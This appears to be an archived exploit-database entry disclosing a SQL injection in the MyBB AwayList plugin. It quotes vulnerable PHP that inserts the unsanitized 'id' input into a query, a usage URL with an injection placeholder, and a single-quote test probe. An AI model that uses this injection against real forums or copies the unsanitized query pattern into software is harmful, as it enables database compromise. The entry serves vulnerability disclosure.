MyBB AwayList Plugin (index.php, id parameter) SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MyBB AwayList Plugin (index.php, id parameter) SQL Injection Vulnerability
# Published : 2012-12-24
# Author :
# Previous Title : e107 v1.0.2 CSRF Resulting in SQL Injection
# Next Title : Nexpose Security Console CSRF Vulnerability

# Exploit Title: AwayList MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [Team Vect0r]
# Software Link: http://mods.mybb.com/view/awaylist
# Tested on: Windows & Linux.


Vulnerable code :

<?php
$query = $db->simple_select( // 245
        "awaylist", '*', "id = '" . $mybb->input['id'] . "'" // 246
    ); // 247
    $item = $db->fetch_array($query); // 248
?>

The variable '$mybb->input['id']' remains unsanitized.

Usage : http://server/index.php?action=editAwlItem&id=[SQLi]

Exploit-DB Not:
This is what worked for us: awaylist.php?action=editAwlItem&id=1'

Shoutout to Zixem <3 & Team Vect0r :3